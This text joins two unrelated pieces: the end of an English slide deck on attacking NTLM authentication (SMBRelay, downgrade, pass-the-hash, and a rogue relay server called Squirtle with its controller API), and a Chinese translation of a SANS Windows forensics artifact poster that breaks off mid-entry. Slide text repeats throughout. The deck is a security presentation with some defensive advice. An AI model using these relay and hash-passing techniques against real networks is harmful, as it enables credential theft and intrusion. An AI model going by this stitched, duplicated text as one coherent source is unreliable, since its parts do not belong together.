Exploitation” presentation for other cool ideas. 17 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Stopping SMBRelay Through a GPO or within Local Security Policy change your LAN Manager authentication level: 18 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Stopping SMBRelay Through a GPO or within Local Security Policy change your LAN Manager authentication level: 18 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # …but not really NTLMv2 does not stop this attack. At the current time NTLMv2 is not fully supported within the MSF libraries so enable NTLMv2 (for now) 19 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Protocol Downgrade During SPNEGO the client gets the first word on protocol support: Signing, Sealing, use NTLM, Always Sign, send Target block, etc. The server responds with their own list of support: NTLM2 key, Target block included, 128-bit encryption, etc If both sides agree the client sends all the requisite data for an authentication attempt and waits for a response. Using MITM tools such as Cain & Able or Ettercap an attacker can force either side to negotiate LOWER than they would have otherwise. 20 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Protecting Downgrade Through a GPO or within Local Security Policy change your LAN Manager authentication level: 21 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Replay Attacks Comes in two forms: Network capture and replay if no nonce Obtaining the LM/NTLM hashes and using them during auth “Pass The Hash” is the term and it is pure awesome: Obtain privileges on a server or workstation Dump a copy of stored hashes (SAM, LSASS, running processes) Skip the part of “converting to LM/NTLM” during the Network authentication routines Who needs to crack hashes anymore? 22 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Tools for Replay Obtain hashes: FGDump - PWDumpX - Cain & Able - Pass The Hash Toolkit Metasploit, Canvas, CORE Impact Passing The Hash Hydra Pass The Hash Toolkit Metasploit, Canvas, CORE Impact 23 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM over ... HTTP, IMAP, POP3, SMTP, NNTP, etc. . . While NTLM is a Microsoft protocol, in order to fully support SSO it has to support standard protocols. NTLM “Type Messages” is the implementation of the NTLM Protocol over these 7-bit protocols. Part of the Integrated Windows Authentication suite. 24 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # IE Trust Zones In order for Internet Explorer to perform Integrated Windows Authentication the browser must be in the “Local Intranet” or customized zone with unique security restrictions. 25 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # What to-do in a zone Perform automatic Integrated Windows Authorization Instantiate more ActiveX/COM objects Less restriction on existing ActiveX functions. 26 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Forcing Trust Zones It has been possible in the past to force IE into the Local Intranet zone through the use of Flash or Java applets. http://heasman.blogspot.com/2008/06/stealing-password-hashes-with- java-and.html 27 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Mozilla Auth Setup In about:config Enable IWA: network.negotiate-auth.trusted-uris: list,of,uris network.negotiate-auth.using-native-gsslib: true Or just NTLM: network.automatic-ntlm-auth.trusted-uris: list,of,uris network.ntlm.send-lm-response: false 28 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM in <browser> Opera does not support NTLM authentication directly, you must go through a proxy server. Safari for Windows will do NTLM but does not do Integrated Windows Auth. Typically a proxy server is used for OS X or stored credentials in the keychain. Wget/CURL both support NTLM on the command line. Links/Lynx … why? maybe, not something I checked - usually use a proxy server like NTLMAPS. 29 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM Message Header 30 Type 1 Message -> Client to Server Bit Offset 0 1 2 3 4 5 6 7 8 9 1 0 1 2 3 4 5 6 7 8 9 2 0 1 2 3 4 5 6 7 8 9 3 0 1 0 NTLMSSP\0 Type Flags Domain Buffer Workstation Buffer 32 OS Ver Structure Workstation Data 64 Domain Data grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Flags 31 # NTLMSSP Message Flags NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server NEGOTIATE_SIGN = 0x00000010 # Session signature required NEGOTIATE_SEAL = 0x00000020 # Session seal required NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver? NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM Message Header 32 Type 2 Message -> Server to Client Bit Offset 0 1 2 3 4 5 6 7 8 9 1 0 1 2 3 4 5 6 7 8 9 2 0 1 2 3 4 5 6 7 8 9 3 0 1 0 NTLMSSP\0 Type Target Name Flags Nonce 32 Context (Optional) Target Information Security Buffer (Optional) OS Version Structure (Optional) ...Data! grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM Message Header 33 Target Information Security Buffer & Data TISB: Length - 2 bytes Space - 2 bytes Offset - 4 bytes Target Data: Starts at TISB Offset Type - 2 bytes Length - 2 bytes Data - Da Data … Repeat … Terminator - (0x0000) grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # NTLM Message Header 34 Type 3 Message -> Client to Server Bit Offset 0 1 2 3 4 5 6 7 8 9 1 0 1 2 3 4 5 6 7 8 9 2 0 1 2 3 4 5 6 7 8 9 3 0 1 0 NTLMSSP\0 Type LM/LMv2 Response NTLM/NTLMv2 Response Target … 32 … Name User Name Workstation Name Session Key optional Flags OS Version … optional 64 OS Version … optional grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # HTTP NTLM Auth 35 End User Server GET / HTTP/1.1 WWW-Authenticate: NTLM Authorization: NTLM <base64 Type1> WWW-Authenticate: NTLM <base64 Type2> Authorization: NTLM <base64 Type3> HTTP/1.1 200 OK Session Established grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # HTTP NTLM Auth 36 End User Server GET / HTTP/1.1 WWW-Authenticate: NTLM Authorization: NTLM <base64 Type1> WWW-Authenticate: NTLM <base64 Type2> Authorization: NTLM <base64 Type3> HTTP/1.1 200 OK Rogue Server GET / HTTP/1.1 WWW-Authenticate: NTLM Authorization: NTLM <base64 Type1> WWW-Authenticate: NTLM <base64 Type2> Authorization: NTLM <base64 Type3> HTTP/1.1 200 OK Session Established Session Closed grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # What does that mean? As a Rogue Server we’re able to bridge authentication requests using Type Messages by directing HTTP requests to us (<img src>) This was previously possible via SMBRelay but very limited target scope using WPAD+SOCKS or forcing file:// or smb:// connections Jesse Burns @ iSEC Partners described the HTTP->SMB link in 2004 but never released source code In late 2007 I implemented a hash collector and HTTP->IMAP bridge This year Eric Rachner released “scurvy” So what’s new? 37 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Introducing Squirtle 38 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Squirtle? What the… 39 Squirtle is a Rogue Server with Controlling Desires! It does not require: Man In The Middle techniques such as: ARP Poisoning DNS Redirection GRE Tunnels Squirtle does require: The browser be in a “trusted zone” for IWA to work Support for WWW-Authenticate: NTLM You somehow direct the browsers to it (XSS, proxy, <img>, etc) grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # What… does it do? Squirtle listens and collects web clients to use during IWA requests. Any external agent can use the provided API to request authentication from specific users using a given nonce from an enterprise server. 40 Controlled Clients Evil Agent Enterprise Server Squirtle User A User B User C grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # What does this mean? Past attacks against Windows authentication have been either directed at a single server or back towards the client. By corralling clients and exposing an API to externally written tools, Squirtle allows proxy servers to be written in any language that the attacker desires. They don’t need to worry about grabbling clients and holding on to them, let Squirtle do that. Existing frameworks such as Metasploit, Canvas and CORE Impact can use Squirtle to perform attacks against resources that require authentication without having to obtain cleartext or LM/NTLM hashes! 41 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # 42 iPhone also supports strong authentication methods, including industry-standard MD5 Challenge-Response and NTLMv2. grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Thinking about it… I came up with this particular scenario and tool because after finding a ton of internal XSS vulnerabilities the response was “Great, you can run a port scanner or send print jobs. What else?” So think about this: Internal servers with web programming errors (XSS, SQL, etc) Open SMB c:\inetpub\www shares with write access An internal PHPNuke instance Sending an E-mail with a link inside of it The evil act of opening Microsoft Office documents They will all be controlled by the mighty Squirtle! 43 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Core Functions Clients are given a pre-computed key during their first connection as a Cookie. A keepalive is sent to the Squirtle controller for action requests. Agent Functions /controller/listclients -- List collected clients /controller/listhashes -- List collected hashes and nonces /controller/static -- Request client auth with static nonce /controller/type2 -- Request client auth with a given nonce /controller/redirect -- Force a redirect and drop the client All functions require Basic Auth be supported to keep the riff-raff out. Client Functions /keepalive -- Hi, i’m still here.. Got anything for me? /client/auth -- Oh, ok I’ll go here.. Authenticate? Maybe… 44 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Demos 45 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Protecting IIS For each instance, follow http://support.microsoft.com/kb/215383 cscript adsutil.vbs set w3svc/instance#/root/NTAuthenticationProviders "Negotiate” This will break NTLM-only supported systems like NTLM proxies so do your testing before hand. 46 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Forcing the client Not possible. If a browser is in the Local Intranet zone and sees the “WWW-Authenticate: NTLM” header they will attempt to authorize with it. Best bet at the moment is to enable NTLMv2-only and get rid of all your Windows NT servers (you have gotten rid of them, right? RIGHT?) At least with NTLMv2 decryption will take a long long long time should an attacker obtain user authentication packets. 47 grutz @ jingojango.net NTLM is DEAD! grutz @ jingojango.net NTLM is DEAD! Slide # Q&A - URLs Squirtle: http://code.google.com/p/squirtle Pass The Hash Toolkit: http://oss.coresecurity.com/projects/pshtoolkit.htm FGDump: http://www.foofus.net/fizzgig/fgdump/ Cain & Abel: http://www.oxid.it/cain.html http://grutztopia.jingojango.net/ -- http://www.metasploit.com/ 48
pdf
$ S T A N D A R D _ I N F O R M A T I O N $ F I L E N A M E Windows取证分析 海 报 你不能保护你不知道的东西 digital-forensics.sans.org DFPS_FOR500_v4.9_4-19 Poster Created by Rob Lee with support of the SANS DFIR Faculty ©2019 Rob Lee. All Rights Reserved. 翻译:Leon([email protected]) 文件重命名 本地文件移动 卷文件移动 (通过命令行) 卷文件移动 (通过文件 管理器复制/粘贴) 文件复制 (只有Win7以后的 NTFS不改变) 文件访问 文件修改 访问时间-文件 创建时间 文件创建 文件删除 Windows 痕迹分析: ...的证据: UserAssist 描述 Windows系统从桌面启动的GUI程序在启动器中进行跟踪。 位置 NTUSER.DAT HIVE: NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\ {GUID}\Count 解释 所有的值是 ROT-13编码 • GUID for XP - 75048700 活动桌面 • GUID for Win7/8/10 - CEBFF5CD 可执行文件执行 - F4E57C4B 快捷方式文件执行 Windows 10 时间线 描述 Win10在“时间线”中记录最近使用的应用程序和文件,可 以通过“WIN + TAB”键访问。 数据记录在一个SQLite数据 库中。 位置 C:\Users\<profile>\AppData\Local\ConnectedDevices Platform\L.<profile>\ActivitiesCache.db 解释 • 应用程序执行 • 每个应用程序的焦点数 RecentApps 描述 在Win10系统上启动的GUI程序执行可在“ RecentApps”键中 进行跟踪 位置 Win10: NTUSER.DAT\Software\Microsoft\Windows\Current Version\Search \RecentApps 解释 每个GUID键指向一个最近使用的应用程序。 AppID = 应用程序名称 LastAccessTime = UTC格式的最后执行时间 LaunchCount = 执行过的次数 Shimcache 描述 • Windows使用Windows应用程序兼容性数据库来确定可执行文 件可能出现的应用程序兼容性挑战。 • 跟踪可执行文件的文件名、文件大小、上次修改时间以及 Windows XP中的上次更新时间 位置 XP: SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility Win7/8/10: SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache 解释 在此注册表项中可以找到Windows系统上运行的任何可执行文 件。 您可以使用此键来识别系统执行了特定恶意软件。另外, 基于对时间数据的解释,您也许能够确定系统上执行或活动的 最后时间。 • Windows XP包含最多96项 - 执行文件时更新LastUpdateTime • Windows 7包含最多1,024项 - Win7系统上不存在LastUpdateTime 跳转列表 描述 • Windows 7任务栏(跳转列表)经过精心设计,可让用户快 速、轻松地“跳转”或访问他们经常或最近使用的项目。此功 能不仅可以包括最近的媒体文件; 它还包括最近的任务。 • 每个存储在AutomaticDestinations文件夹中的数据具有一个 唯一的文件,该文件前面带有关联应用程序的AppID。 位置 Win7/8/10: C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent \ AutomaticDestinations 解释 • 应用程序首次运行时间 - Creation Time = 添加到AppID文件的第一个时间项 • Last time of execution of application w/file open. - Modification Time = 添加到AppID文件的最后一条时间项 • Jump List ID列表 -> http://www.forensicswiki.org/wiki/List_of_Jump_List_IDs Amcache.hve 描述 ProgramDataUpdater(与Application Experience Service关联的任 务)使用注册表文件Amcache.hve在进程创建期间存储数据 位置 Win7/8/10: C:\Windows\AppCompat\Programs\Amcache.hve 解释 • • Amcache.hve – Keys = Amcache.hve\Root\File\{Volume GUID}\####### 每次可执行文件运行的记录、全路径信息、文件的 $StandardInfo的最后修改时间、可执行文件运行的原磁盘卷 • First Run Time = 键的最后修改时间 • 键中还包含可执行文件的SHA1哈希 • 系统资源使用情况监视器 (SRUM) 描述 记录30至60天的历史系统性能。运行的应用程序、每次相关的 用户帐户、应用程序、每个应用程序每小时发送和接收的字节 数。 位置 SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Extensions {d10ca2fe-6fcf-4f6d-848e-b2e99266fa89} = Application Resource Usage Provider C:\Windows\ System32\SRU\ 解释 使用如srum_dump.exe之类的工具来关联注册表键和SRUM ESE数据库的数据 BAM/DAM 描述 Windows后台活动调度(BAM) 位置 Win10: SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID} SYSTEM\CurrentControlSet\Services\dam\UserSettings\{SID} 调查笔记 提供在系统上运行的可执行文件的完整路径以及上次执行的 日期/时间 Last-Visited MRU 描述 跟踪应用程序用来打开文件的可执行文件,记录在 OpenSaveMRU键中。另外,每个值跟踪应用程序访问的最后一 个文件的目录位置。 例如:Notepad.exe上次使用了C:\%USERPROFILE%\Desktop文 件夹 位置 XP: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedMRU Win7/8/10: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedPidlMRU 解释 跟踪用于在OpenSaveMRU中打开文件的应用程序可执行文件以 及所使用的最后的文件路径。 Prefetch 描述 • 通过预加载常用应用程序的代码页来提高系统性能。缓存管理 器监视为每个应用程序或进程引用的所有文件和目录,并将它 们映射到.pf文件。用来了解系统上执行的应用程序。 • XP和Win7上最多128个 • LWin8上最多1024个 • (exename)-(hash).pf 位置 WinXP/7/8/10: C:\Windows\Prefetch 解释 • 每个.pf文件都包括上次执行时间、运行次数以及程序使用的 设备和文件句柄 • 具有该名称和路径的文件的首次执行的日期/时间 - .pf文件的创建日期(-10秒) • 具有该名称和路径的文件上次执行的日期/时间 - 嵌入.pf文件的最后执行时间 - .pf文件的最后修改日期(-10秒) - Win8-10包含最后8次执行 程序执行 XP 搜索 – ACMRU 描述 您可以通过Windows XP计算机上的搜索助手来搜索各种信息。 搜索助手会记住用户对文件名,计算机或文件中单词的搜索 词。这是Windows系统上找到“搜索历史”的示例。 Location NTUSER.DAT HIVE NTUSER.DAT\Software\Microsoft\Search Assistant\ACMru\#### 解释 • 搜索Internet – ####=5001 • 文件名的全部或者部分 – ####=5603 • 文件里单词或者用语 – ####=5604 • 打印机、计算机和人员 – ####=5647 Thumbcache 描述 图片、Office文件和文件夹的缩略图保存在一个叫做thumbcache 的数据库里。每个用户具有根据用户查看的缩略图大小(small, medium, large, 和extra-larger)区分的独立的数据库。 位置 C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer 解释 • 这些是在用户将文件夹切换到缩略图模式或通过幻灯片查看图 片时创建的。 我们的缩略图现在存储在单独的数据库文件中。 Win7以上版本有4种缩略图大小,并且缓存文件夹中的文件反 映了这一点: - 32 -> small - 96 -> medium - 256 -> large - 1024 -> extra large • 缩略图缓存将根据缩略图的大小将图片的缩略图副本存储在相 应的数据库文件的内容中。 Thumbs.db 描述 计算机上有图片文件的目录中的隐藏文件,以较小的缩略图形 式存储。thumbs.db存储文件夹中的图片的缩略图副本,即使 这个图片被删除了。 Location WinXP/Win8|8.1 启用家庭组自动创建 Win7/8/10 在任何地方自动创建并通过UNC路径(本地或远程)访问 解释 包括: • 原始图片的缩略图 • 文档缩略图-即使已删除 • 上次修改时间 (仅XP) • 原始文件名 (仅XP) IE|Edge file:// 描述 关于IE历史记录的一个鲜为人知的事实是,历史记录文件中存 储的信息不仅与Internet浏览有关。 历史记录还记录了本地和 远程(通过网络共享)文件访问,这为我们提供了一种绝佳的 方式来确定每天在系统上访问哪些文件和应用程序。 位置 Internet Explorer: IE6-7 %USERPROFILE%\LocalSettings\History\History.IE5 IE8-9 • 在index.dat中存储为: file:///C:/directory/filename.ext • 并不意味着文件已在浏览器中打开 Search – WordWheelQuery 描述 从Windows 7计算机上的“开始”菜单栏中搜索的关键字。 位置 Win7/8/10 NTUSER.DAT Hive NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer \WordWheelQuery 解释 关键字以Unicode添加,并按时间顺序在MRUlist中列出 Win7/8/10 回收站 描述 回收站是Windows文件系统上要知道的一个非常重要的位置。 在 完成取证调查时,它可以为您提供帮助,因为从Windows回收站 相关(aware)程序删除的每个文件通常都首先放入回收站中。 位置 隐藏的系统文件夹 Win7/8/10 . C:\$Recycle.bin • 每一个删除恢复文件的删除时间和原始文件名包含在独立的 文件中 解释 • 可以通过注册表分析将SID映射到用户 • Win7/8/10 - 包含以$I######开头的文件 • 原始路径和文件名 • 删除日期/时间 - 包含以$R######开头的文件 %USERPROFILE%\AppData\Local\Microsoft\WindowsHistory\History.IE5 • 恢复数据 %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat 解释 Last-Visited MRU 描述 T跟踪应用程序用来打开OpenSaveMRU键中记录的文件的特定 可执行文件。 此外,每个值还跟踪该应用程序访问的最后一个 文件的目录位置。 位置 XP NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedMRU Win7/8/10 NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedPidlMRU 解释 跟踪用于在OpenSaveMRU中打开文件的应用程序可执行文件以 及所使用的最后的文件路径。 XP 回收站 描述 回收站是Windows文件系统上要知道的一个非常重要的位 置。 在完成取证调查时,它可以为您提供帮助,因为从 Windows回收站相关(aware)程序删除的每个文件通常都首先 放入回收站中。 位置 隐藏系统文件夹 Windows XP • C:\RECYCLER” 2000/NT/XP/2003 • 子文件夹使用用户的SID创建 • “INFO2”目录里的隐藏文件 • INFO2包含删除的时间和原始文件名 • 同时有ASCII和UNICODE文件名 解释 • 可以通过注册表分析将SID映射到用户 • 将文件名映射到实际名称以及原始的路径 删除的文件或文件知识 Open/Save MRU 描述 用最简单的术语来说,此键跟踪已在Windows Shell对话框中打开或保存 的文件。 这恰好是一个大数据集,不仅包括Internet Explorer和Firefox等 Web浏览器,而且还包括大多数常用的应用程序。 位置 XP: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU Win7/8/10: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32 \OpenSavePIDlMRU 解释 • • The “*” key – 这个子键跟踪在OpenSave对话框中输入的任何扩展名最 近打开的文件 .??? (三字符扩展名) – 这个子键根据扩展名保存“打开保存”对话框的文件 信息 电子邮件附件 描述 电子邮件行业估计,有80%的电子邮件数据是通过附件存储的。 电子邮件 标准仅允许文本。 附件必须使用MIME/base64格式编码。 位置 Outlook XP: %USERPROFILE%\Local Settings\ApplicationData\Microsoft\Outlook Win7/8/10: %USERPROFILE%\AppData\Local\Microsoft\Outlook 解释 在这些位置中找到的MS Outlook数据文件包括OST和PST文件。 还应该检 查OLK和Content.Outlook文件夹,该文件夹可能会漫游,具体取决于所用 Outlook的特定版本。 有关在哪里可以找到OLK文件夹的更多信息,此链 接提供了一个方便的图表: http://www.hancockcomputertech.com/ blog/2010/01/06/find-the-microsoft-outlook-temporary-olk-folder Skype 历史记录 描述 • Skype历史记录保留了聊天会话和从一台计算机传输到另一台计算机的 文件的日志 • 在Skype安装中,默认情况下已启用此功能 位置 XP: C:\Documents and Settings\<username>\Application\Skype\<skype-name> Win7/8/10: C:\%USERPROFILE%\AppData\Roaming\Skype\<skype-name> 解释 每个条目具有日期/时间值和与该操作关联的Skype用户名。 浏览器痕迹 描述 与“文件下载”没有直接关系。为每个本地用户帐户存储详细信息。记录访 问的次数(频率)。 位置 Internet Explorer • IE8-9: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\index.dat • IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat Firefox • v3-25: %userprofile%\AppData\Roaming\Mozilla\ Firefox\Profiles\<random text>.default\downloads.sqlite • v26+: %userprofile%\AppData\Roaming\Mozilla\ Firefox\Profiles\<random text>.default\places.sqlite Table:moz_annos Chrome: • Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History 解释 历史记录的许多站点会列出从远程站点打开和下载到本地系统的文件。历 史记录将记录对通过链接访问的网站上文件的访问。 下载 描述 Firefox和IE具有内置的下载管理器应用程序,可保留用户下载的每个文件 的历史记录。这个浏览器痕迹可以提供有关用户访问过哪些站点以及从中 下载了哪些文件的很好的信息。 位置 Firefox: • XP: %userprofile%\Application Data\Mozilla\ Firefox\Profiles\<random text>.default\downloads.sqlite • Win7/8/10: %userprofile%\AppData\Roaming\Mozilla\ Firefox\Profiles\<random text>.default\downloads.sqlite Internet Explorer: • IE8-9: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\ IEDownloadHistory\ • IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\ WebCacheV*.dat 解释 下载包括: • 文件名、大小和类型 • 下载来源和参考页面 • 文件保存位置 • 用来打开文件的应用程序 • 下载开始和结束的时间 ADS Zone.Identifer 描述 从XP SP2开始,当通过浏览器将文件从“ Internet区域”下载到NTFS卷时, 数据流将添加到文件中。数据流名为“ Zone.Identifier”。 解释 具数据流Zone.Identifier且数据流包含ZoneID = 3的文件是从Internet下载的 • URLZONE_TRUSTED = ZoneID = 2 • URLZONE_INTERNET = ZoneID = 3 • URLZONE_UNTRUSTED = ZoneID = 4 文件下载 “...的证据”分类最初是由SANS数字取证和应急响应学院针对SANS课程“FOR500:Windows取证分析“创建的。该分类将特 定的痕迹映射到有助于回答的分析问题。使用此海报作为备忘录,可以帮助您记住在哪里可以找到关于计算机入侵、知 识产权盗窃以及其他常见的网络犯罪调查的Windows的关键痕迹。 @sansforensics sansforensics dfir.to/MAIL-LIST SEC504 Hacker Tools, Techniques, Exploits, and Incident Handling GCIH FOR508 Advanced Incident Response, Threat Hunting, and Digital Forensics GCFA FOR572 Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response GNFA FOR578 Cyber Threat Intelligence GCTI FOR610 REM: Malware Analysis GREM dfir.to/DFIRCast FOR500 Windows Forensics GCFE FOR498 Battlefield Forensics & Data Acquisition FOR518 Mac and iOS Forensic Analysis and Incident Response FOR526 Advanced Memory Forensics & Threat Detection FOR585 Smartphone Forensic Analysis In-Depth GASF OPERATING SYSTEM & DEVICE IN-DEPTH INCIDENT RESPONSE & THREAT HUNTING 文件重命名 本地文件移动 卷文件移动 (通过命令行) 卷文件移动 (通过文件 管理器复制/粘贴) 文件复制 文件访问 文件修改 文件创建 文件删除 修改时间-文 件创建时间 元数据-文件创 建时间 创建时间-文 件创建时间 修改时间-不 变 访问时间-文件 访问时间 元数据-不变 创建时间-不 变 修改时间-数 据修改时间 访问时间-不 变 创建时间-不 变 元数据-数据 修改时间 访问时间-文件 创建时间 修改时间-文 件创建时间 元数据-文件创 建时间 创建时间-文 件创建时间 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-文件 重命名时间 创建时间-文 件复制时间 访问时间-文件 复制时间 修改时间-从 原文件继承 元数据-文件复 制时间 修改时间-不 变 访问时间-不 变 创建时间-不 变 元数据-本地 文件移动时间 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-不变 修改时间-从 原文件继承 元数据-从原文 件继承 修改时间-从 原文件继承 元数据-从原 文件继承 创建时间-从 原文件继承 访问时间-通过 命令行移动文 件的时间 创建时间-通过 命令行移动文 件的时间 访问时间-剪 切/粘贴时间 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-不变 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-不变 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-不变 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-不变 创建时间-不 变 修改时间-不 变 访问时间-不 变 元数据-不变 访问时间-文件 复制时间 修改时间-文 件复制时间 元数据-文件复 制时间 创建时间-文 件复制时间 访问时间-通过 命令行移动文 件的时间 修改时间-通过 命令行移动文 件的时间 元数据-通过命 令行移动文件 的时间 创建时间-通过 命令行移动文 件的时间 访问时间-剪 切/粘贴时间 修改时间-剪 切/粘贴时间 元数据-剪切/ 粘贴时间 创建时间-剪 切/粘贴时间 时区 描述 识别当前系统时区 位置 SYSTEM Hive: SYSTEM\CurrentControlSet\Control\TimeZoneInformation 解释 • 时间活动对于活动的关联非常有用 • 内部日志文件和日期/时间戳基于系统时区信息 • 您可能还有其他网络设备,需要将信息与此处收集的时区信息相关 联。 Cookies 描述 Cookies使您可以了解访问过哪些网站以及在那里可能进行了哪 些活动。 位置 Internet Explorer • IE6-8: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies • IE10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies • IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies Firefox • XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\ cookies.sqlite • Win7/8/10: %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\ cookies.sqlite Chrome • XP: %USERPROFILE%\Local Settings\ApplicationData\Google\Chrome\User Data\Default\ Local Storage • Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Local Storage Network历史记录 描述 • 识别计算机连接到的网络 • 网络可以是无线或有线的 • 识别域名/内网名称 • 识别 SSID • 识别网关MAC地址 位置 Win7/8/10 SOFTWARE HIVE: • SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged • SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed • SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache 解释 • 识别计算机已连接的Intranet和网络非常重要 • 您不仅可以确定Intranet名称,还可以根据密钥的最后写入时间来 确定网络的最后连接时间。 • 同时可以列出已通过VPN连接到的所有网络 • 网关的SSID的MAC地址可以进行物理三角定位 WLAN事件日志 描述 确定系统与哪些无线网络相关联,并确定网络特征以查找位置 相关事件IDs • 11000 – 无线网络开始关联 • 8001 – 成功连接到无线网络 • 8002 – 失败连接到无线网络 • 8003 – 断开无线网络连接 • 6100 – 网络诊断(系统日志) 位置 Microsoft-Windows-WLAN-AutoConfig Operational.evtx 解释 • 显示无线网络连接的历史记录 • 包含SSID和BSSID(MAC地址),可用于对无线访问点进行地 理定位*(Win8 +上没有BSSID) 浏览器搜索词 描述 按日期和时间记录访问的网站。为每个本地用户帐户存储的详细信 息。记录访问的次数(频率)。还跟踪对本地系统文件的访问。这 还将包括搜索引擎中搜索词的网站历史记录。 位置 Internet Explorer • IE6-7: 